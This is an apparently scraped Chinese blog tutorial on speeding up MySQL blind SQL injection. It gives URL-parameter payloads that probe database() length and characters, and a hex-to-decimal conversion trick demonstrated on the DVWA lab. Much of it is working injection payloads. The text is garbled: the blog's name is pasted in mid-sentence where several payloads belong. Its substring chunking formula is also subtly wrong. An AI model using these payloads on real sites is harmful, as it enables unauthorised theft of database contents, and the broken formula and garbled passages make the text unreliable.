MySQL快速盲注小技巧

一般情况下

MySQL数据库盲注流程是先判断长度,再按位读取对应的ascii值。

比如,获取当前库名时,第一步读取长度

index.php?id=1 and length(database())>5 返回true  
index.php?id=1 and length(database())>6 返回false  
即database()的长度为6

第二步,读取第一位对应的ascii值

index.php?id=1 and ascii(substring(database(),1,1))>72 返回true  
index.php?id=1 and ascii(substring(database(),1,1))>73 返回false  
即database()的第一位值为I(73)

然后再不断通过substring截取的位置来获取完整的database()

快速方法

将字符串经过hex编码之后,再转成10进制数字,通过盲注获取具体的数字,然后再将它还原回去。如: 下辈子想做头猪的博客conv(hex(database()),16,10)>1685485408时页面回显的是User ID exists in the database. 下辈子想做头猪的博客conv(hex(database()),16,10)>1685485409时页面回显的是User ID is MISSING from the database. 所以database()转成10进制的数字即为1685485409,再将它还原成字符串select unhex(conv(1685485409,10,16)) 下辈子想做头猪的博客 得到当前库名为dvwa.

小问题

下辈子想做头猪的博客 当我们尝试注入user()时,发现该值等于18446744073709551615,这是因为user()的长度超过了八位,转成十进制时,远远超过了mysql的无符号类型bigint的表示范围。所以这里我们需要通过截取字符串的方式,八位八位的获取数据结果,公式如下:

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);  

下辈子想做头猪的博客 下辈子想做头猪的博客 通过substr截取下一组8位字符串,就可以快速获取完整的数据了。

最后

欢迎大家加入我的小密圈,一起交流进步 下辈子想做头猪的博客

zhutougg

继续阅读此作者的更多文章